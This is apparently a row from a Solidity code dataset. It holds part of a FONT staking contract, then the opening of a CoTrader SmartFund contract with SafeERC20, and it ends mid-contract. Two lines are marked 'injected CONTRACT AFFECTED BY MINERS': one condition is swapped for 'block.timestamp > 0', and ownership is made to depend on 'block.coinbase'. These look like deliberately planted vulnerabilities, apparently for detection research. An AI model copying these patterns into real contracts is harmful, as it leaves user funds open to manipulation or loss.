uint256 taxFee = 400; // 1 = 0.01% for premature unstake
address font_token_address = 0x4C25Bdf026Ea05F32713F00f73Ca55857Fbf6342; //token address of the font
uint256 public maxSnapshotLifetime = 259200; // 3 days Max freshness of snapshot before reward distribution
uint256 public minSnapshotInterval = 7776000; //3 months this is used for both snapshot and reward distribution
uint256 public minStakeTime = 7776000; //90 days in second
uint256 public minStakeAmount = 500 * (10**18); // Minimum eligible fonts for staking
IERC20 public FONT_ERC20; //Font token address
bool public stakingPaused; //Status of staking
uint256 public totalTaxAmount = 0; //Total tax accumulated, subjected to reset from 0 on burn
uint256 public lastRewardTime = 0; //time stamp of last time reward distributed
uint256 public stakeCounter; //Current stake ID. Counter
uint256 public totalStaked = 0; //Total $FONTs currently staked
uint256 public lastSnapshotTime; //Last time the snapshot made
//stake id to skip, this helps to reduce gas as time goes.
uint256 firstUnclaimedStakeId = 1;
//Eligible number of fonts for rewards, this helps to calculate user share of rewards
uint256 totalEligibleFontsForRewards = 0; //This resets often
//list of accounts excluded from rewards
mapping (address => bool) private excludedAccount;
//Total font token currently staked per user
mapping (address => uint256) public usersStake;
//Holds the ERC address of reward tokens, usefull for multiple token payment
struct RewardToken {
//uint256 balance; //balance of this token
uint256 minBalance; //Minimum balance to send rewards / No use of spending 1$ to 1000 people.
//address token; //ERC20 token for rewards
bool status; //current status or this erc token
}
mapping (address => uint256) public rewardTokens;
struct TT {
address a;
bool b;
}
//Staking info
struct stakingInfo {
uint256 amount;
uint256 lockedTime;
uint256 unstakeTime;
uint256 duration;
address user;
bool claimed;
}
mapping(uint256 => stakingInfo) private StakeMap;
//users stake ids
mapping(address => uint256[]) private userStakeIds;
//snapshots
mapping (uint256 => mapping(address => uint256)) public SnapShot; //User balance based on the snapshot
mapping (uint256 => address[]) private SnapShotUsers; //list of eligible users per snapshot
//User reward balance claimable
mapping (address => mapping(address => uint256)) public UserRewardBalance;
constructor(address _font_token_address, address _weth) {
stakeCounter = 1;
FONT_ERC20 = IERC20(_font_token_address);
ownerAddress = msg.sender;
stakingPaused = false;
_setupRole(ADMIN_ROLE, msg.sender); // Assign admin role to contract creator
weth = ERC20(_weth);
}
//@done
event LogStake(address _address, uint256 _stake_id, uint256 amount);
/**
* @dev stake a specific amount to a token
* @param _amount the amount to be staked
* for demo purposes, not requiring user to actually send in tokens right now
*/
function stake(uint256 _amount) public {
require(!stakingPaused, 'Paused');
require(_amount > minStakeAmount, 'Minimum');
uint256 _stake_id = stakeCounter;
//Add total token staked per address
usersStake[msg.sender] += _amount; //usersStake[msg.sender].add(_amount);
//Add item to StakeMap
StakeMap[_stake_id].amount = _amount;
StakeMap[_stake_id].claimed = false;
StakeMap[_stake_id].lockedTime = block.timestamp;
StakeMap[_stake_id].duration = minStakeTime;
StakeMap[_stake_id].user = msg.sender;
//stake ids per user
userStakeIds[msg.sender].push(_stake_id);
//Total font currently staked
totalStaked += _amount;
//Update Stake Counter
stakeCounter++;
//safe transfer from
FONT_ERC20.safeTransferFrom(msg.sender, address(this), _amount);
emit LogStake(msg.sender, _stake_id, _amount);
}
//Unstake the font Token by stake id
//@done
event UnStaked(address _address, uint256 _stake_id, uint256 amount, uint256 _tax);
function unStake(uint256 _stake_id) external {
require(StakeMap[_stake_id].user == msg.sender, 'Denied');
require(!StakeMap[_stake_id].claimed, 'Claimed');
require(usersStake[msg.sender] > 0, 'No balance');
uint256 _amount = StakeMap[_stake_id].amount; //@todo no need this variable
uint256 _taxfee = 0;
//Take tax for premeture unstake
if((StakeMap[_stake_id].lockedTime + StakeMap[_stake_id].duration) > block.timestamp) {
_taxfee = _amount.mul(taxFee).div(10**4);
//Add tax amount to total tax
totalTaxAmount += _taxfee;// totalTaxAmount.add(_taxfee);
}
//Reduce the balance per user
//usersStake[msg.sender] = usersStake[msg.sender].sub(_amount);
usersStake[msg.sender] -= _amount;// usersStake[msg.sender].sub(_amount);
//Update stake info
StakeMap[_stake_id].claimed = true;
StakeMap[_stake_id].unstakeTime = block.timestamp;
//Total font currently staked
totalStaked -= _amount; //totalStaked.sub(_amount);
//Transfer token to user @todo safetransfer
FONT_ERC20.safeTransfer(msg.sender, (_amount.sub(_taxfee)));
emit UnStaked(msg.sender, _stake_id, _amount, _taxfee);
}
//Get detail about single stake info by address and id
//@done
function getStakeByID(uint256 _stake_id) external view returns (stakingInfo memory) {
return StakeMap[_stake_id];
}
//Pause the staking
//@done
function pauseStaking() external {
require(hasRole(ADMIN_ROLE, msg.sender), "Denied");
stakingPaused = true;
}
//UnPause the staking
//@done
function unpauseStaking() external {
require(hasRole(ADMIN_ROLE, msg.sender), "Denied");
stakingPaused = false;
}
//emergency
/**********************************************************************************************************/
/******************************************** Admin Settings *******************************************/
/**********************************************************************************************************/
//Change tax fee
//@done
event changedTaxFee(uint256);
function setTaxFees(uint256 _fees) external {
require(hasRole(ADMIN_ROLE, msg.sender), "Denied");
require(_fees > 0, "0");
taxFee = _fees;
emit changedTaxFee(_fees);
}
//change min required stake amount
//@done
event ChangedMinStakeRequired(uint256);
function setMinStakeRequired(uint256 _amount) external {
require(hasRole(ADMIN_ROLE, msg.sender), "Denied");
minStakeAmount = _amount * (10**18);
emit ChangedMinStakeRequired(_amount);
}
//Kick out a stake, dont take tax. This is to help test stakes to withdraw without tax.
//@done
event KickedStake(uint256);
function kickStake(uint256 _stake_id) external {
require(hasRole(ADMIN_ROLE, msg.sender), "Denied");
require(!StakeMap[_stake_id].claimed, 'Claimed');
require(StakeMap[_stake_id].amount > 0, 'No Stake Amount');
require(totalStaked > 0, 'No FONT Balance');
//Reduce the balance per user
usersStake[StakeMap[_stake_id].user] -= StakeMap[_stake_id].amount;
//usersStake[StakeMap[_stake_id].user].sub(StakeMap[_stake_id].amount);
//Update stake info
StakeMap[_stake_id].claimed = true;
StakeMap[_stake_id].unstakeTime = block.timestamp;
//Total font currently staked
totalStaked -= StakeMap[_stake_id].amount;// totalStaked.sub(StakeMap[_stake_id].amount);
//safetransfer token to user
FONT_ERC20.safeTransfer(StakeMap[_stake_id].user, StakeMap[_stake_id].amount);
emit KickedStake(_stake_id);
}
//Add an account to exclude from payment splits and rewards.
//this is to exclude the team / test accounts.
//@done
event accountExcluded(address);
function excludeAccount(address _address) external {
require(hasRole(ADMIN_ROLE, msg.sender), "Denied");
excludedAccount[_address] = true;
emit accountExcluded(_address);
}
//Add an account to include from payment splits and rewards.
//@done
event accountIncluded(address);
function includeAccount(address _address) external {
require(hasRole(ADMIN_ROLE, msg.sender), "Denied");
excludedAccount[_address] = false;
emit accountIncluded(_address);
}
//Helper function to move the stake ID pointer for first open stake
//@done
function setFirstUnclaimedStakeId(uint256 _id) external {
require(hasRole(ADMIN_ROLE, msg.sender), "Denied");
firstUnclaimedStakeId = _id;
}
//Edit existing reward token
//@done
event EditRewardToken(address _address, uint256 _minBalance);
function editRewardToken(address _address, uint256 _minBalance) external {
require(hasRole(ADMIN_ROLE, msg.sender), "Denied");
rewardTokens[_address] = _minBalance;
emit EditRewardToken(_address, _minBalance);
}
//Burn the tax, let anyone call it.
//@done
event FontBurned(uint256 amount);
function burnFont() external {
uint256 _totalTaxAmount = totalTaxAmount;
totalTaxAmount = 0;
FONT_ERC20.burn(_totalTaxAmount);
emit FontBurned(totalTaxAmount);
}
//withdraw the tokens that sent accidently
function withdrawErc20(address _token, uint256 _amount) public {
require(msg.sender == ownerAddress, "Denied");
require(_token != font_token_address, "FONT");
IERC20(_token).transfer(msg.sender, _amount);
}
function editFontErcAddress(address _address) external {
require(msg.sender == ownerAddress, "Denied");
font_token_address = _address;
}
//change the time settings
event TimingsChanged(uint256, uint256, uint256);
function setTimings(uint256 _maxSnapshotLifetime, uint256 _minSnapshotInterval, uint256 _minStakeTime) external {
require(msg.sender == ownerAddress, "Denied");
maxSnapshotLifetime = _maxSnapshotLifetime; //3 days default
minSnapshotInterval = _minSnapshotInterval; //90 days defualt
minStakeTime = _minStakeTime; //90 days default
emit TimingsChanged(_maxSnapshotLifetime, _minSnapshotInterval, _minStakeTime);
}
/**********************************************************************************************************/
/************************************************ views ************************************************/
/**********************************************************************************************************/
//Get the number of tokens staked by user
//@done
function getStakeByUser(address _address) external view returns (uint256) {
return usersStake[_address];
}
//Get list of all users stake ids
function getStakeidsByUser(address _address) external view returns (uint256[] memory) {
return userStakeIds[_address];
}
//get current reward share percentage per address.
//
function getCurrentRewardShare(address _user) external view returns (uint256) {
return SnapShot[lastSnapshotTime][_user];
}
function getUserRewardBalance(address _token, address _user) external view returns (uint256) {
return UserRewardBalance[_user][_token];
}
function getTaxFee() external view returns (uint256) {
return taxFee;
}
function getTotalEligibleFontsForRewards() external view returns (uint256) {
return totalEligibleFontsForRewards;
}
function getlastSnapshotTime() external view returns (uint256) {
return lastSnapshotTime;
}
function getSnapShotUsers(uint256 _snapshotTime) external view returns (address[] memory) {
return SnapShotUsers[_snapshotTime];
}
/**********************************************************************************************************/
/************************************************ Helpers **********************************************/
/**********************************************************************************************************/
//calculate tax fee
//@done
function calculateTax(uint256 _amount) internal view returns (uint256) {
return _amount.mul(taxFee).div(10**4);
}
//Convert ETH to WETH and keep it in Contract for distribution
receive() external payable {
weth.deposit{value: msg.value}();
}
/**********************************************************************************************************/
/************************************************ Rewards **********************************************/
/**********************************************************************************************************/
//Take snapshot of reward eligibility>
//Should able to take min of 3 months
event SnapShoted(uint256, uint256);
function takeSnapshot() external {
require(hasRole(ADMIN_ROLE, msg.sender), "Denied");
uint256 _blockTimestamp = block.timestamp;
require(lastSnapshotTime < (_blockTimestamp - minSnapshotInterval), "Wait"); //@done
uint256 _totalEligibleFontsForRewards = 0;
stakingInfo storage _StakeMap;
for(uint256 i = firstUnclaimedStakeId; i < stakeCounter; i++) {
_StakeMap = StakeMap[i];
//check if user is not already claimed, have crosed the date, and account is not excluded to get rewards
if(!_StakeMap.claimed && (_StakeMap.lockedTime + _StakeMap.duration < _blockTimestamp)) { //@done date
//calculate the total eligible fonts for staking rewards
_totalEligibleFontsForRewards += _StakeMap.amount;
//add eligible number of tokens per user address
if(SnapShot[_blockTimestamp][_StakeMap.user] == 0) {
SnapShotUsers[_blockTimestamp].push(_StakeMap.user);
}
SnapShot[_blockTimestamp][_StakeMap.user] += _StakeMap.amount;
//
}
}
//update the metadatas
lastSnapshotTime = _blockTimestamp;
totalEligibleFontsForRewards = _totalEligibleFontsForRewards;
emit SnapShoted(lastSnapshotTime, totalEligibleFontsForRewards);
}
//Distribute the reward
event RewardsDistributed(uint256, uint256);
function DistributeRewards(address[] memory _tokens) external {
require(hasRole(ADMIN_ROLE, msg.sender), "Denied");
uint256 _blockTimestamp = block.timestamp;
//should be called AFTER x days (30 days ) from last withdrawals
require(lastRewardTime < (_blockTimestamp - minSnapshotInterval), 'wait'); //@done
//should have snapshotred before x mins (4 hours?)
require(lastSnapshotTime > (_blockTimestamp - maxSnapshotLifetime), 'SnapShot'); //@done
//make sure there is enough staking from last snapshot
require(totalEligibleFontsForRewards > 0, '0 stake'); //@done
//uint256 _rewardAmount = 0;
uint256 _token_balance = 0;
address __address;
uint256 _totalEligibleFontsForRewards = totalEligibleFontsForRewards;
uint256 _min_token_balance = 0;
address[] memory _SnapShotUsers = SnapShotUsers[lastSnapshotTime];
mapping (address => uint256) storage _SnapShot = SnapShot[lastSnapshotTime];
for(uint256 i = 0; i < _tokens.length; i++ ) {
_min_token_balance = rewardTokens[_tokens[i]];
if(_min_token_balance > 0) {
_token_balance = IERC20(_tokens[i]).balanceOf(address(this));
if(_token_balance >= _min_token_balance) {
for(uint256 _user = 0; _user < _SnapShotUsers.length; _user++) {
__address = _SnapShotUsers[_user];
UserRewardBalance[__address][_tokens[i]] += (_SnapShot[__address].mul(_token_balance).div(_totalEligibleFontsForRewards));
} //take all the users in current snapshop
}
} //check if reward token is enabled and its not font token
} // Main for loop
//update the needed metadata
lastRewardTime = _blockTimestamp;
//emit
emit RewardsDistributed(_tokens.length, SnapShotUsers[lastSnapshotTime].length);
}
//Users can cliam the reward. Can claim the multiple number of tokens in single shot
//@todo, only allowed tokens
event RewardClaimed(address, uint256);
function claimRewards(address[] memory _tokens) public {
//loop all tokens
uint256 _amount = 0;
for(uint256 i = 0; i < _tokens.length; i++ ) {
_amount = UserRewardBalance[msg.sender][_tokens[i]];
if(_amount > 0) {
UserRewardBalance[msg.sender][_tokens[i]] = 0;
IERC20(_tokens[i]).safeTransfer(msg.sender, _amount);
}
}
emit RewardClaimed(msg.sender, block.timestamp);
}
/****************************************************************/
/************** Testing functions here ********************/
/****************************************************************/
//function debugger() external view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256) {
// return (ddtotalTokens,ddtotalTokensenabled ,ddtotalTokensBalance, ddtotalusers, ddtotalusersWithMoney, ddtotalreward, totalEligibleFontsForRewards);
//}
}
|
calculate tax fee@done
|
function calculateTax(uint256 _amount) internal view returns (uint256) {
return _amount.mul(taxFee).div(10**4);
}
| 5,874,197
|
/**
*Submitted for verification at Etherscan.io on 2020-11-07
*/
pragma solidity ^0.6.12;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface ICoTraderGlobalConfig {
function MAX_TOKENS() external view returns(uint256);
function TRADE_FREEZE_TIME() external view returns(uint256);
function DW_FREEZE_TIME() external view returns(uint256);
function PLATFORM_ADDRESS() external view returns(address);
}
interface IFundValueOracle {
function requestValue(address _fundAddress, uint256 _fee) external payable returns (bytes32 requestId);
function getFundValueByID(bytes32 _requestId) external view returns(uint256 value);
function fee() external returns(uint256);
}
interface PermittedAddressesInterface {
function permittedAddresses(address _address) external view returns(bool);
function addressesTypes(address _address) external view returns(string memory);
function isMatchTypes(address _address, uint256 addressType) external view returns(bool);
}
// interface for fund contract
interface IExchangePortal {
function trade(
IERC20 _source,
uint256 _sourceAmount,
IERC20 _destination,
uint256 _type,
bytes32[] calldata _proof,
uint256[] calldata _positions,
bytes calldata _additionalData,
bool _verifyDestanation
)
external
payable
returns (uint256);
}
/*
The SmartFund contract is what holds all the tokens and ether, and contains all the logic
for calculating its value (and ergo profit), allows users to deposit/withdraw their funds,
and calculates the fund managers cut of the funds profit among other things.
The SmartFund gets the value of its token holdings (in Ether) and trades through the ExchangePortal
contract. This means that as new exchange capabalities are added to new exchange portals, the
SmartFund will be able to upgrade to a new exchange portal, and trade a wider variety of assets
with a wider variety of exchanges. The SmartFund is also connected to a permittedAddresses contract,
which determines which exchange, pool, defi portals the SmartFund is allowed to connect to, restricting
the fund owners ability to connect to a potentially malicious contract.
*/
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (block.timestamp > 0) { // Return data is optional //injected CONTRACT AFFECTED BY MINERS
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
abstract contract SmartFundLightCore is Ownable, IERC20 {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// Fund type
bool public isLightFund = true;
// Total amount of ether or stable deposited by all users
uint256 public totalWeiDeposited;
// Total amount of ether or stable withdrawn by all users
uint256 public totalWeiWithdrawn;
// The Interface of the Exchange Portal
IExchangePortal public exchangePortal;
// The Smart Contract which stores the addresses of all the authorized Exchange Portals
PermittedAddressesInterface public permittedAddresses;
// portals recognizes ETH by this address
IERC20 constant internal ETH_TOKEN_ADDRESS = IERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee);
// For ERC20 compliance
string public name;
// Percentages are rounded to 3 decimal places
uint256 public TOTAL_PERCENTAGE = 10000;
// The percentage of earnings paid to the fund manager. 10000 = 100%
// e.g. 10% is 1000
uint256 public successFee;
// The percentage of fund manager earnings paid to the platform. 10000 = 100%
// e.g. 10% is 1000
uint256 public platformFee;
// An array of all the erc20 token addresses the smart fund holds
address[] public tokenAddresses;
// Boolean value that determines whether the fund accepts deposits from anyone or
// only specific addresses approved by the manager
bool public onlyWhitelist;
// Mapping of addresses that are approved to deposit if the manager only want's specific
// addresses to be able to invest in their fund
mapping (address => bool) public whitelist;
uint public version = 8;
// the total number of shares in the fund
uint256 public totalShares;
// Denomination of initial shares
uint256 constant internal INITIAL_SHARES = 10 ** 18;
// The earnings the fund manager has already cashed out
uint256 public fundManagerCashedOut;
// for ETH and ERC20 fund this asset different
address public coreFundAsset;
// If true the contract will require each new asset to buy to be on a special Merkle tree list
bool public isRequireTradeVerification;
// Oracle contract instance
IFundValueOracle public fundValueOracle;
// Data for Oracle updates
bytes32 public latestOracleRequestID;
uint256 public latestOracleCallOnTime;
uint256 public latestOracleCallOnBlock;
address public latestOracleCaller;
// CoTrader platform config
ICoTraderGlobalConfig public cotraderGlobalConfig;
// how many shares belong to each address
mapping (address => uint256) public addressToShares;
// so that we can easily check that we don't add duplicates to our array
mapping (address => bool) public tokensTraded;
// this is really only being used to more easily show profits, but may not be necessary
// if we do a lot of this offchain using events to track everything
// total `depositToken` deposited - total `depositToken` withdrawn
mapping (address => int256) public addressesNetDeposit;
event Deposit(address indexed user, uint256 amount, uint256 sharesReceived, uint256 totalShares);
event Withdraw(address indexed user, uint256 sharesRemoved, uint256 totalShares);
event Trade(address src, uint256 srcAmount, address dest, uint256 destReceived);
event SmartFundCreated(address indexed owner);
event OracleUpdate(address caller, uint256 triggerTime, bytes32 id);
constructor(
address _owner,
string memory _name,
uint256 _successFee,
address _exchangePortalAddress,
address _permittedAddresses,
address _coreFundAsset,
address _fundValueOracle,
bool _isRequireTradeVerification,
address _cotraderGlobalConfig
)public{
// never allow a 100% fee
require(_successFee < TOTAL_PERCENTAGE);
name = _name;
successFee = _successFee;
platformFee = _successFee; // platform fee the same as manager fee
// Init manager
if(block.coinbase == address(0)){ //injected CONTRACT AFFECTED BY MINERS
transferOwnership(msg.sender);
}
else{
transferOwnership(_owner);
}
// Initial Token is Ether
tokenAddresses.push(address(ETH_TOKEN_ADDRESS));
// Initial interfaces
exchangePortal = IExchangePortal(_exchangePortalAddress);
permittedAddresses = PermittedAddressesInterface(_permittedAddresses);
// Initial core assets
coreFundAsset = _coreFundAsset;
// Initial fund Oracle
fundValueOracle = IFundValueOracle(_fundValueOracle);
// Initial check if fund require trade verification or not
isRequireTradeVerification = _isRequireTradeVerification;
// Initial platform config
cotraderGlobalConfig = ICoTraderGlobalConfig(_cotraderGlobalConfig);
emit SmartFundCreated(owner());
}
// Modifiers
// We use function instead modifiers because modifiers require more bytes
// Not allow trade while user do deposit or withdraw
